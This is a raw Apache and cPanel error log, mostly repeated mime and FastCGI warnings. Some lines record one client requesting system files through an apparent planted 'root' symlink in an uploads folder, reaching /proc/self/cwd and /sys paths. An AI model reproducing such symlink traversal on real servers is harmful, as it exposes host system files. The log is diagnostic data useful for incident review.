[Fri Jul 17 10:30:35.689883 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:35.689922 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:35.698072 2026] [proxy_fcgi:error] [pid 2075904:tid 2075904] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:35.760500 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:35.900086 2026] [proxy_fcgi:error] [pid 2075780:tid 2075780] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:35.974198 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:36.100175 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:36.145055 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:36.183661 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:43790] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:36.239780 2026] [proxy_fcgi:error] [pid 2075904:tid 2075904] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:36.306951 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:36.405535 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:36.437875 2026] [proxy_fcgi:error] [pid 2076231:tid 2076231] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:36.506503 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:36.949437 2026] [core:error] [pid 2075689:tid 2075689] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/kmodlve/uevent
[Fri Jul 17 10:30:37.168127 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:37.544182 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:37.712575 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:37.830787 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:37.830858 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:37.830883 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:37.830902 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:37.830921 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:37.830940 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:37.830957 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:37.932540 2026] [core:error] [pid 2076194:tid 2076194] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty50/subsystem/ttyS2/close_delay
[Fri Jul 17 10:30:38.131698 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:38.131794 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:38.131828 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:38.131853 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:38.131873 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:38.131896 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:38.131917 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:38.455457 2026] [core:error] [pid 2075711:tid 2075711] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:20/subsystem/uevent
[Fri Jul 17 10:30:38.557235 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:38.657806 2026] [core:error] [pid 2078862:tid 2078862] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:00/subsystem/uevent
[Fri Jul 17 10:30:38.861335 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:38.966112 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:43896] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:39.169361 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:39.436313 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:39.512992 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:39.593749 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:39.692220 2026] [core:error] [pid 2075693:tid 2075693] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1c/subsystem/uevent
[Fri Jul 17 10:30:39.903002 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:40.012290 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:40.112760 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:40.217696 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:40.217773 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:40.217803 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:40.217837 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:40.217868 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:40.217891 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:40.217910 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:40.323331 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:40.443105 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:40.456376 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:40.585591 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:40.586362 2026] [security2:error] [pid 2075689:tid 2075689] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/dev/cpu/0/"] [unique_id "alm2-F6LQV5zcO01IS_C6gAAAAw"]
[Fri Jul 17 10:30:40.586388 2026] [security2:error] [pid 2075689:tid 2075689] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/dev/cpu/0/"] [unique_id "alm2-F6LQV5zcO01IS_C6gAAAAw"]
[Fri Jul 17 10:30:40.693490 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:41.012510 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:41.343131 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:41.645009 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:42.083147 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:42.185737 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:42.293440 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:42.394548 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:42.763061 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:42.765344 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:42.943358 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.025456 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.136996 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.241255 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.342360 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.442892 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.544188 2026] [core:error] [pid 2079960:tid 2079960] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty50/subsystem/ttyS2/flags
[Fri Jul 17 10:30:43.647568 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.749880 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.749988 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750018 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750057 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750101 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750230 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750257 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750277 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750296 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750318 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750348 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750397 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750621 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750701 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750748 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750789 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.750880 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.751035 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.751107 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.751310 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.751378 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.751406 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.751563 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.751619 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.751665 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.751746 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.751796 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.751843 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.752033 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.752077 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.752130 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.752152 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.752172 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.752207 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.752228 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.752343 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.864546 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:40744] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:43.926305 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.950211 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:43.952859 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:44.071914 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:44.152582 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:44.250866 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:44.352749 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:44.453537 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:44.657430 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:44.854312 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:44.864794 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:44.961963 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:40786] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:44.962129 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.064050 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.267936 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.380380 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.670848 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.670952 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671014 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671087 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671156 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671229 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671346 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671376 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671409 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671440 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671567 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671758 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671801 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671837 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671868 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671897 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671927 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.671956 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.672137 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.672175 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.672206 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.672236 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.672291 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.672343 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.672397 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.856691 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:45.932411 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:46.076341 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:46.113536 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:46.207158 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:46.281346 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:46.377300 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:46.480029 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:46.618408 2026] [core:error] [pid 2075689:tid 2075689] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/hid/drivers/hid-sensor-hub/unbind
[Fri Jul 17 10:30:46.718299 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:46.953993 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.028179 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.041492 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.129896 2026] [core:error] [pid 2076194:tid 2076194] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty13/subsystem/ttyS1/device/driver/unbind
[Fri Jul 17 10:30:47.241720 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.241820 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.241909 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.242003 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.242037 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.242143 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.356546 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.356619 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.356653 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.356709 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.356744 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.356773 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.356837 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.356854 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.356872 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.356899 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.356975 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.357086 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.357115 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.357134 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.357150 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.357166 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.357182 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.357198 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.357311 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.357330 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.357346 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.357362 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.357392 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.357420 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.357447 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.488610 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:47.605124 2026] [core:error] [pid 2076132:tid 2076132] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/rapl/uevent
[Fri Jul 17 10:30:47.707482 2026] [core:error] [pid 2076257:tid 2076257] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/subsystem/drivers/ec/uevent
[Fri Jul 17 10:30:47.831432 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:48.222336 2026] [core:error] [pid 2075705:tid 2075705] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/hid/drivers/hid-generic/unbind
[Fri Jul 17 10:30:48.322916 2026] [core:error] [pid 2075693:tid 2075693] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/sunrpc/uevent
[Fri Jul 17 10:30:48.460289 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:40964] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:48.834820 2026] [core:error] [pid 2076194:tid 2076194] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty61/subsystem/ttyS2/device/driver/unbind
[Fri Jul 17 10:30:49.045241 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:49.190384 2026] [core:error] [pid 2075693:tid 2075693] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty20/subsystem/ttyS2/device/driver/unbind
[Fri Jul 17 10:30:49.250746 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:49.353298 2026] [core:error] [pid 2076231:tid 2076231] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup2/subsystem/wakeup11/device/device:0d/eject
